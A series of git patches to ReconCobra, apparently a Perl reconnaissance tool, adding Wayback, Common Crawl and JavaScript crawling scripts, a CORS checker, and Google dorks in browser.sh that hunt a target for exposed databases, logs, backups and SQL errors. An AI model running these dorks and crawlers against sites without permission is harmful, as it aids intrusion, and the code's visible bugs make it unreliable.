+2340,7 @@ sub Findallaccountsfromemail { #--------------------------------------------------------------# sub Findalltagsfromaccount { if (system("./fb.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make fb.sh available in same folder\n[~] Command failed\n"; @@ -2484,7 +2484,7 @@ sub Dnshistory { #--------------------------------------------------------------# sub Passivednssearch { if (system("./passive.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print "[~] Make passive.sh available in same folder\n[~] Command failed\n"; @@ -2496,13 +2496,29 @@ sub Passivednssearch { #50 Use Common Crawl on Target # #--------------------------------------------------------------# sub Usecommoncrawlontarget { - if (system("./common.sh") == 0) { - print "success!\n"; + print "\n", item(),"Download website using common crawl: "; + print "\n", item(),"Use JSON reader to understand JSON file structure: "; + print "\n", item(),"Enter Option: "; + chomp($enter=); + if ($enter =~1) { + if (system("./common1.sh") == 0) { + print item(), "success!\n"; + print item(), "Results are saved in json-results folder\n"; } else { - print item(), "Make common.sh available in same folder\n"; + print item(), "Make common1.sh available in same folder\n"; print item(), "Command failed\n"; - + } + } + if ($enter =~2) { + if (system("./common2.sh") == 0) { + print item(), "success!\n"; + print item(), "Results are saved in json-results folder\n"; + } + else { + print item(), "Make common2.sh available in same folder\n"; + print item(), "Command failed\n"; + } } } @@ -2694,7 +2710,7 @@ sub Winctonetbios { #--------------------------------------------------------------# sub Ips { if (system("perl sixth.pl -d google.com -t $ips -s 1 -f 65535 -i wlan0") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print item(),"Command failed\n"; @@ -2875,7 +2891,7 @@ sub MDSSE { chomp($enter=); if ($enter =~1) { if (system("./mdsse.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print item(),"Make mdsse.sh available in same folder\n"; @@ -2884,7 +2900,7 @@ sub MDSSE { } if ($enter =~2) { if (system("./nmapasnlookup.sh") == 0) { - print "success!\n"; + print item(), "success!\n"; } else { print item(),"Make nmapasnlookup.sh available in same folder\n"; From e2f8178f648b0e23114e8d75763d1d1fc18a81d1 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 00:38:42 +0500 Subject: [PATCH 058/272] Delete common.sh --- common.sh | 7 ------- 1 file changed, 7 deletions(-) delete mode 100644 common.sh diff --git a/common.sh b/common.sh deleted file mode 100644 index ac34708..0000000 --- a/common.sh +++ /dev/null @@ -1,7 +0,0 @@ -#!/bin/bash -mkdir common_crawl_results -cd common_crawl_results -echo -e "[ + ] URL Examples, com.google, pk.daraz " -echo -n "[ + ] Enter URL in reverse order only: " ; read Domain -curl http://urlsearch.commoncrawl.org/download?q=$Domain -o $Domain.list -cd .. \ No newline at end of file From 7de8ecb13fabcfa415fab8a60df124bf6afccaac Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 00:38:57 +0500 Subject: [PATCH 059/272] Add files via upload --- common1.sh | 7 +++++++ common2.sh | 7 +++++++ 2 files changed, 14 insertions(+) create mode 100644 common1.sh create mode 100644 common2.sh diff --git a/common1.sh b/common1.sh new file mode 100644 index 0000000..ac34708 --- /dev/null +++ b/common1.sh @@ -0,0 +1,7 @@ +#!/bin/bash +mkdir common_crawl_results +cd common_crawl_results +echo -e "[ + ] URL Examples, com.google, pk.daraz " +echo -n "[ + ] Enter URL in reverse order only: " ; read Domain +curl http://urlsearch.commoncrawl.org/download?q=$Domain -o $Domain.list +cd .. \ No newline at end of file diff --git a/common2.sh b/common2.sh new file mode 100644 index 0000000..8600f22 --- /dev/null +++ b/common2.sh @@ -0,0 +1,7 @@ +#!/bin/bash +echo -n "[ + ] Enter File Path: " ; read File +mkdir json-results +cd json-describe +chmod u+x * +./json-describe $File > /json-results/$File.list +cd .. \ No newline at end of file From 8a98c4317c79fb8c13eca7e3c7299fe6e1ac4713 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 00:50:04 +0500 Subject: [PATCH 060/272] Update browser.sh --- browser.sh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/browser.sh b/browser.sh index 2046df4..cf275b9 100644 --- a/browser.sh +++ b/browser.sh @@ -28,4 +28,5 @@ $BROWSER "https://www.google.com/search?q=site:$TARGET+ext:sql+|+ext:dbf+|+ext:m $BROWSER "https://www.google.com/search?q=site:$TARGET+ext:log" 2> /dev/null $BROWSER "https://www.google.com/search?q=site:$TARGET+ext:bkf+|+ext:bkp+|+ext:bak+|+ext:old+|+ext:backup" 2> /dev/null $BROWSER "https://www.google.com/search?q=site:$TARGET+intext:%22sql+syntax+near%22+|+intext:%22syntax+error+has+occurred%22+|+intext:%22incorrect+syntax+near%22+|+intext:%22unexpected+end+of+SQL+command%22+|+intext:%22Warning:+mysql_connect()%22+|+intext:%22Warning:+mysql_query()%22+|+intext:%22Warning:+pg_connect()%22" 2> /dev/null -$BROWSER "https://www.google.com/search?q=site:$TARGET+ext:doc+|+ext:docx+|+ext:odt+|+ext:pdf+|+ext:rtf+|+ext:sxw+|+ext:psw+|+ext:ppt+|+ext:pptx+|+ext:pps+|+ext:csv" 2> /dev/null \ No newline at end of file +$BROWSER "https://www.google.com/search?q=site:$TARGET+ext:doc+|+ext:docx+|+ext:odt+|+ext:pdf+|+ext:rtf+|+ext:sxw+|+ext:psw+|+ext:ppt+|+ext:pptx+|+ext:pps+|+ext:csv" 2> /dev/null +$BROWSER "https://www.google.com/search?q=site:$TARGET+ext:php+|+ext:asp+|+ext:aspx+|+ext:jspf+|+ext:jspa+|+ext:txt+|+ext:swf" 2> /dev/null From c1cb7b67c0a9812d428221d1ba88de3575e2ed0c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:03:03 +0500 Subject: [PATCH 061/272] Update ReconCobra.pl --- ReconCobra.pl | 36 +++++++++++++++++++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index a84efe1..fd7cc9d 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -117,6 +117,7 @@ "aj|domaincert=s" => \$domainCertificate, "ak|apisubdomain=s" => \$apisubdomain, "al|cname=s" => \$cname, + "am|endpoints=s" => \$endpoints, ); if ($help) { banner();help(); } @@ -186,6 +187,7 @@ if ($dcse) { banner();DomainCertificate(); } if ($apisubdomain) { banner();Apisubdomain(); } if ($cname) { banner();Cname(); } +if ($cname) { banner();endpoints(); } unless (@ARGV > 1) { banner();menu(); } @@ -597,6 +599,13 @@ sub help { print color('bold red')," => "; print color("bold white"),"reconcobra -an site.com"; print color('bold cyan')," # \n",line_d(); + + print color('bold cyan'),"# "; + print item('67'),"Endpoints Extraction "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ao site.com"; + print color('bold cyan')," # \n",line_d(); + } #--------------------------------------------------------------# @@ -708,6 +717,7 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('64'),"Domain Certificate Subdomain Enumeration";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -1298,6 +1308,14 @@ sub menu { print "\n"; Cname(); enter(); + }if($number eq '67'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + endpoints(); + enter(); } if($number eq '0'){ exit; @@ -2206,7 +2224,7 @@ sub Extractusersfromform { print item(), "success!\n"; } else { - print "[~] Make ftp.sh available in same folder\n[~] Command failed\n"; + print "[~] Make http-form.sh available in same folder\n[~] Command failed\n"; } { print item(), "Enter the injection variable\n"; @@ -3018,6 +3036,22 @@ () } +#--------------------------------------------------------------# +#67 Extraction Endpoints # +#--------------------------------------------------------------# +sub endpoints() { + if (system("./endpoint_extraction.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in endpoint_extraction_results folder\n"; + } + else { + print item(),"Make endpoint_extraction.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + + #--------------------------------------------------------------# # Enter # #--------------------------------------------------------------# From 1c5ce31b0e62a6c142cd9b0114b6659f9c983d32 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:03:23 +0500 Subject: [PATCH 062/272] Add files via upload --- endpoint_extraction.sh | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 endpoint_extraction.sh diff --git a/endpoint_extraction.sh b/endpoint_extraction.sh new file mode 100644 index 0000000..48a3d5e --- /dev/null +++ b/endpoint_extraction.sh @@ -0,0 +1,6 @@ +#!/bin/bash +mkdir endpoint_extraction_results +cd endpoint_extraction_results +echo -n "Enter URL to search : " ; read URL +curl 'http://web.archive.org/cdx/search/cdx?url=$URL/*&output=text&fl=original&collapse=urlkey' > $URL.list +cd .. From c660fddaffed6c2afcfaab7ecc13c26c0a79e0e7 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:07:38 +0500 Subject: [PATCH 063/272] Add files via upload --- common2.sh | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/common2.sh b/common2.sh index 8600f22..b95e75b 100644 --- a/common2.sh +++ b/common2.sh @@ -1,7 +1,6 @@ #!/bin/bash -echo -n "[ + ] Enter File Path: " ; read File +echo -n "[ + ] Enter File with Path: " ; read File mkdir json-results -cd json-describe -chmod u+x * +cd json-describe/target/debug ./json-describe $File > /json-results/$File.list cd .. \ No newline at end of file From e6ddbd0554df2c87f491e1ef0ee019b87ae9b740 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:10:56 +0500 Subject: [PATCH 064/272] Update ReconCobra.pl --- ReconCobra.pl | 36 +++++++++++++++++++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index fd7cc9d..7a8381e 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -118,6 +118,7 @@ "ak|apisubdomain=s" => \$apisubdomain, "al|cname=s" => \$cname, "am|endpoints=s" => \$endpoints, + "an|cors=s" => \$cors, ); if ($help) { banner();help(); } @@ -187,7 +188,8 @@ if ($dcse) { banner();DomainCertificate(); } if ($apisubdomain) { banner();Apisubdomain(); } if ($cname) { banner();Cname(); } -if ($cname) { banner();endpoints(); } +if ($endpoints) { banner();endpoints(); } +if ($cors) { banner();cors(); } unless (@ARGV > 1) { banner();menu(); } @@ -606,6 +608,13 @@ sub help { print color("bold white"),"reconcobra -ao site.com"; print color('bold cyan')," # \n",line_d(); + print color('bold cyan'),"# "; + print item('68'),"Test CORS "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ap site.com"; + print color('bold cyan')," # \n",line_d(); + + } #--------------------------------------------------------------# @@ -718,6 +727,7 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('68'),"Test CORS ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -1316,6 +1326,14 @@ sub menu { print "\n"; endpoints(); enter(); + }if($number eq '68'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + cors(); + enter(); } if($number eq '0'){ exit; @@ -3051,6 +3069,22 @@ () } +#--------------------------------------------------------------# +#68 Testing CORS # +#--------------------------------------------------------------# +sub cors() { + if (system("./cors.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in cors_results folder\n"; + } + else { + print item(),"Make cors.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + + #--------------------------------------------------------------# # Enter # From aa08614daa51e6d3d6ec15b6210615c75241193a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:18:35 +0500 Subject: [PATCH 065/272] Create wayback.sh --- wayback.sh | 6 ++++++ 1 file changed, 6 insertions(+) create mode 100644 wayback.sh diff --git a/wayback.sh b/wayback.sh new file mode 100644 index 0000000..2a7711b --- /dev/null +++ b/wayback.sh @@ -0,0 +1,6 @@ +#!/bin/bash +mkdir wayback_results +cd wayback_results +echo -n "Enter URL: " ; read URL +wayback_machine_downloader http://$URL > $URL.list +cd .. From 29e67f9ee819371a2abc8104e87e6f68f7b66df0 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:18:56 +0500 Subject: [PATCH 066/272] Update ReconCobra.pl --- ReconCobra.pl | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/ReconCobra.pl b/ReconCobra.pl index 7a8381e..97b9c71 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -119,6 +119,7 @@ "al|cname=s" => \$cname, "am|endpoints=s" => \$endpoints, "an|cors=s" => \$cors, + "ao|wayback=s" => \$wayback, ); if ($help) { banner();help(); } @@ -190,6 +191,7 @@ if ($cname) { banner();Cname(); } if ($endpoints) { banner();endpoints(); } if ($cors) { banner();cors(); } +if ($wayback) { banner();wayback(); } unless (@ARGV > 1) { banner();menu(); } @@ -614,6 +616,12 @@ sub help { print color("bold white"),"reconcobra -ap site.com"; print color('bold cyan')," # \n",line_d(); + print color('bold cyan'),"# "; + print item('69'),"Wayback Web Downloader "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ar site.com"; + print color('bold cyan')," # \n",line_d(); + } @@ -728,6 +736,7 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('68'),"Test CORS ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -1334,6 +1343,14 @@ sub menu { print "\n"; cors(); enter(); + }if($number eq '69'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + wayback(); + enter(); } if($number eq '0'){ exit; @@ -3084,6 +3101,21 @@ () } +#--------------------------------------------------------------# +#69 Wayback URL Download # +#--------------------------------------------------------------# +sub wayback() { + if (system("./wayback.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in wayback_results folder\n"; + } + else { + print item(),"Make wayback.sh available in same folder\n"; + print item(),"Command failed\n"; + } +} + + #--------------------------------------------------------------# From 5ab4fe88e79802480943d48e0a24817f48133e4f Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:21:46 +0500 Subject: [PATCH 067/272] Update ReconCobra.pl --- ReconCobra.pl | 1 + 1 file changed, 1 insertion(+) diff --git a/ReconCobra.pl b/ReconCobra.pl index 97b9c71..a844edb 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -3105,6 +3105,7 @@ () #69 Wayback URL Download # #--------------------------------------------------------------# sub wayback() { + print item(),"Catuion: Downloading URL may take a while\n"; if (system("./wayback.sh") == 0) { print item(),"success!\n"; print item(),"Results are saved in wayback_results folder\n"; From 11e6a980a1a194ff54b19d035248b4b9f7111e51 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:30:25 +0500 Subject: [PATCH 068/272] Add files via upload --- js_linkfinder.py | 180 +++++++++++++++++++++++++++++++++++++++++++++++ linkfinder.sh | 5 ++ 2 files changed, 185 insertions(+) create mode 100644 js_linkfinder.py create mode 100644 linkfinder.sh diff --git a/js_linkfinder.py b/js_linkfinder.py new file mode 100644 index 0000000..54d2078 --- /dev/null +++ b/js_linkfinder.py @@ -0,0 +1,180 @@ +# *************************************************************************************** # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# Agreement between "Haroon Awan" and "You"(user). # +# ---------------------------------- EULA NOTICE ---------------------------------------- # +# 1. By using this piece of software your bound to these point. # +# 2. This an End User License Agreement (EULA) is a legal between a software application # +# author "Haroon Awan" and (YOU) user of this software. # +# 3. This software application grants users rights to use for any purpose or modify and # +# redistribute creative works. # +# 4. This software comes in "is-as" warranty, author "Haroon Awan" take no responsbility # +# what you do with by/this software as your free to use this software. # +# 5. Any other purpose(s) that it suites as long as it is not related to any kind of # +# crime or using it in un-authorized environment. # +# 6. You can use this software to protect and secure your data information in any # +# environment. # +# 7. It can also be used in state of being protection against the unauthorized use of # +# information. # +# 8. It can be used to take measures achieve protection. # +# *************************************************************************************** # + + +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# Name: cobra.py +# Original Author: Simon Descarpentries +# Modified By: Haroon Awan +# Licence: EULA + +import argparse, os, sys, threading +from sys import argv, stderr +from random import randint +from time import sleep +from urllib.parse import urljoin +import requests, re, yaml, datetime + +cmd = "clear" +returned_value = os.system(cmd) +sys.stdout.write("\033[1;37m") + +print ("""\ +[ Syntax ] +python3 js_linkfinder.py --wait=2 --download https://www.victim.com +""") + + +__all__ = ['boss', 'download_files', 'download_file', 'run_cmd'] +WANTED_EXT = '\.(js?|o(d|t)[js]|js?)$' +BIN_EXT = re.compile( + '\.?(jpe?g|png|gif|ico|swf|flv|exe|mpe?.|h26.|avi|m.v|zip|rar|t?gz|xz|js)$', re.I) +RE_FIND_LINKS = re.compile('(href|src)="(.*?)"|url\("?\'?(.*?)\'?"?\)', re.I) +RE_REL_LINK = re.compile('^https?://', re.I) +RE_CONTENT_TYPE = re.compile('text/(html|css)', re.I) + +def run_cmd(argv): + regext = WANTED_EXT + do_dl = False + do_journal = False + do_wait = 5 + do_random_wait = True + single_page = False + + for i, arg in enumerate(argv): + if i == 0: # 1st arg of argv is the program name + continue + elif arg == '--download': + do_dl = True + elif arg.startswith('--wait'): + do_wait = int(arg[len('--wait='):]) + elif arg.startswith('http'): + continue + elif arg == '--download-file': + if len(argv) < 3: + raise SystemExit("Argument missing, check usage\n") + else: + download_file(argv[-1], do_wait, do_random_wait) + raise SystemExit + elif arg == '--download-files': + if len(argv) < 3: + raise SystemExit("Argument missing, check usage\n") + else: + download_files(argv[-1], do_wait, do_random_wait) + raise SystemExit + elif arg.startswith('--test'): + import doctest + doctest.run_docstring_examples(globals()[arg[len('--test='):]], globals()) + raise SystemExit() + else: + raise SystemExit("Invalid argument "+arg+"\n") + + if len(argv) < 2: + raise SystemExit("") + + boss(argv[-1], re.compile(regext, re.I), do_dl, do_journal, single_page) + + + + +def boss(base_url, wanted_ext=WANTED_EXT, do_dl=False, do_journal=False, + do_wait=False, do_random_wait=False, single_page=False): + journal = 0 + + if do_journal: +# logging.config.dictConfig(yaml.load(LOGGING)) + journal = logging.getLogger('journal') + found_pages_list = [base_url] + found_pages_set = set(found_pages_list) + regurgited_pages = set() + caught_docs = set() + for page_url in found_pages_list: + do_wait and controlled_sleep(do_wait, do_random_wait) + do_journal and journal.info("tries page " + page_url) + try: + page = requests.get(page_url, stream=True) + except Exception as e: + do_journal and journal.error(e) + stderr(e) + continue + if (page.status_code == requests.codes.ok and + RE_CONTENT_TYPE.search(page.headers['content-type'])): + found_pages_list, found_pages_set, regurgited_pages, caught_docs = explore_page( + base_url, page_url, str(page.content), wanted_ext, journal, do_dl, + found_pages_list, found_pages_set, regurgited_pages, caught_docs) + page.close() + if single_page: + break + if do_journal: + journal.info("found %d pages, %d doc(s)" % (len(found_pages_set), len(caught_docs))) + + +def explore_page(base_url, page_url, page_str, wanted_ext, journal, do_dl, + found_pages_list, found_pages_set, regurgited_pages, caught_docs): + # extract links + for a_href in RE_FIND_LINKS.finditer(page_str): + a_href = a_href.group(a_href.lastindex) + if not RE_REL_LINK.search(a_href): # if it's a relative link + a_href = urljoin(page_url, a_href) + if wanted_ext.search(a_href) and a_href not in caught_docs: # wanted doc ? + caught_docs.add(a_href) + do_dl and download_file(a_href) or print(a_href) + elif base_url in a_href and not BIN_EXT.search(a_href): # next page ? + if a_href not in found_pages_set: + journal and journal.info("will explore "+a_href) + found_pages_list.append(a_href) + found_pages_set.add(a_href) + elif a_href not in regurgited_pages: # junk link ? + journal and journal.debug("regurgited link "+a_href) + regurgited_pages.add(a_href) + return found_pages_list, found_pages_set, regurgited_pages, caught_docs + + +def controlled_sleep(seconds=1, do_random_wait=False): + sleep(randint(1, seconds) if do_random_wait else seconds) + + +def download_file(URL, do_wait=False, do_random_wait=False): + do_wait and controlled_sleep(do_wait, do_random_wait) + with open(URL.split('/')[-1], 'wb') as f: + f.write(requests.get(URL, stream=True).content) + + +def download_files(URLs_file, do_wait=False, do_random_wait=False): + line_nb = 0 + downloaded_files = 0 + with open(URLs_file) as f: + for line in f: + line = line.rstrip('\n') + if line is '': + continue + line_nb += 1 + print('download %d - %s' % (line_nb, line)) + try: + download_file(line, do_wait, do_random_wait) + downloaded_files += 1 + except Exception as e: + stderr(e) + print('downloaded %d / %d' % (downloaded_files, line_nb)) + + +if __name__ == '__main__': + run_cmd(argv) diff --git a/linkfinder.sh b/linkfinder.sh new file mode 100644 index 0000000..fe1c373 --- /dev/null +++ b/linkfinder.sh @@ -0,0 +1,5 @@ +#!/bin/bash +mkdir linkfinder_results +cd linkfinder_results +echo -n "Enter URL : " ; read URL +python3 js_linkfinder.py --wait=2 --download https://$URL \ No newline at end of file From 8391a3a07aa169603f53d0f05390db6eec0880e0 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:30:58 +0500 Subject: [PATCH 069/272] Add files via upload --- wayback.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/wayback.sh b/wayback.sh index 2a7711b..420e11d 100644 --- a/wayback.sh +++ b/wayback.sh @@ -3,4 +3,4 @@ mkdir wayback_results cd wayback_results echo -n "Enter URL: " ; read URL wayback_machine_downloader http://$URL > $URL.list -cd .. +cd .. \ No newline at end of file From d3a603f9ff3eeecd196d3cc6673b9dbdf243c0d9 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:31:16 +0500 Subject: [PATCH 070/272] Add files via upload From 1c47703eb5c4de07cb38a35c8165065f1e18b95f Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:40:46 +0500 Subject: [PATCH 071/272] Add files via upload --- linkfinder1.sh | 5 +++++ linkfinder2.sh | 4 ++++ 2 files changed, 9 insertions(+) create mode 100644 linkfinder1.sh create mode 100644 linkfinder2.sh diff --git a/linkfinder1.sh b/linkfinder1.sh new file mode 100644 index 0000000..fe1c373 --- /dev/null +++ b/linkfinder1.sh @@ -0,0 +1,5 @@ +#!/bin/bash +mkdir linkfinder_results +cd linkfinder_results +echo -n "Enter URL : " ; read URL +python3 js_linkfinder.py --wait=2 --download https://$URL \ No newline at end of file diff --git a/linkfinder2.sh b/linkfinder2.sh new file mode 100644 index 0000000..0e955b7 --- /dev/null +++ b/linkfinder2.sh @@ -0,0 +1,4 @@ +#!/bin/bash +echo -n "Enter URL : " ; read URL +cd Linkfinder +./linkfinder.py -i http://$URL -d \ No newline at end of file From bbd536b50ed7cb8a962c93aaa2b60e934af8553c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:40:49 +0500 Subject: [PATCH 072/272] Delete linkfinder.sh --- linkfinder.sh | 5 ----- 1 file changed, 5 deletions(-) delete mode 100644 linkfinder.sh diff --git a/linkfinder.sh b/linkfinder.sh deleted file mode 100644 index fe1c373..0000000 --- a/linkfinder.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash -mkdir linkfinder_results -cd linkfinder_results -echo -n "Enter URL : " ; read URL -python3 js_linkfinder.py --wait=2 --download https://$URL \ No newline at end of file From 6906957c5fdaf8f260ff5eb438be83ce323225da Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:43:03 +0500 Subject: [PATCH 073/272] Add files via upload --- cors.sh | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 cors.sh diff --git a/cors.sh b/cors.sh new file mode 100644 index 0000000..bc122ca --- /dev/null +++ b/cors.sh @@ -0,0 +1,4 @@ +#!/bin/bash +cd corschecker +java -cp CORSChecker.jar CORSChecker +cd .. \ No newline at end of file From b954df80a6bfe0164c517b04a9c9a04cd6129335 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:44:24 +0500 Subject: [PATCH 074/272] Update ReconCobra.pl --- ReconCobra.pl | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) diff --git a/ReconCobra.pl b/ReconCobra.pl index a844edb..0e46cf4 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -120,6 +120,7 @@ "am|endpoints=s" => \$endpoints, "an|cors=s" => \$cors, "ao|wayback=s" => \$wayback, + "ap|linkfinder=s" => \$linkfinder, ); if ($help) { banner();help(); } @@ -192,6 +193,7 @@ if ($endpoints) { banner();endpoints(); } if ($cors) { banner();cors(); } if ($wayback) { banner();wayback(); } +if ($wayback) { banner();linkfinder(); } unless (@ARGV > 1) { banner();menu(); } @@ -622,6 +624,12 @@ sub help { print color("bold white"),"reconcobra -ar site.com"; print color('bold cyan')," # \n",line_d(); + print color('bold cyan'),"# "; + print item('70'),"Link Finder "; + print color('bold red')," => "; + print color("bold white"),"reconcobra -ao site.com"; + print color('bold cyan')," # \n",line_d(); + } @@ -737,6 +745,7 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('67'),"Endpoint Extraction ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('68'),"Test CORS ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('69'),"Wayback Web Downloader ";print color('bold cyan')," # \n"; + print color('bold cyan'),"# ";print color('reset'),item('70'),"JS Link Finder ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('0'),"Exit";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('reset'); @@ -1351,6 +1360,14 @@ sub menu { print "\n"; wayback(); enter(); + }if($number eq '69'){ + banner(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print color('bold green'),"\n\nc0bra: _> "; + print color('bold white'); + print "\n"; + linkfinder(); + enter(); } if($number eq '0'){ exit; @@ -3117,6 +3134,37 @@ () } +#--------------------------------------------------------------# +#70 Link Finder # +#--------------------------------------------------------------# +sub linkfinder() { + print item(),"Catuion: Downloading JS files may take a while\n"; + print item(),"1 - Use JS Crawler and Downloader\n"; + print item(),"2 - Use LinkFinder: "; + chomp($enter=); + if ($enter =~1) { + if (system("./linkfinder1.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in linkfinder_results folder\n"; + } + else { + print item(),"Make linkfinder1.sh available in same folder\n"; + print item(),"Command failed\n"; + } + } + if ($enter =~2) { + if (system("./linkfinder2.sh") == 0) { + print item(),"success!\n"; + print item(),"Results are saved in linkfinder_results folder\n"; + } + else { + print item(),"Make linkfinder2.sh available in same folder\n"; + print item(),"Command failed\n"; + } + } +} + + #--------------------------------------------------------------# From 7a44ca17a61e2a7d964ef04098c4cac3a7afc673 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Fri, 21 Jun 2019 01:45:07 +0500 Subject: [PATCH 075/272] Update ReconCobra.pl --- ReconCobra.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 0e46cf4..b31ca16 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -743,7 +743,7 @@ sub menu { print color('bold cyan'),"# ";print color('reset'),item('65'),"Find Subdomains using API Searcher ";print color('bold cyan')," # \n"; print color('bold cyan'),"# ";print color('reset'),item('66'),"Find Cname Information of netblock ";print color('bold 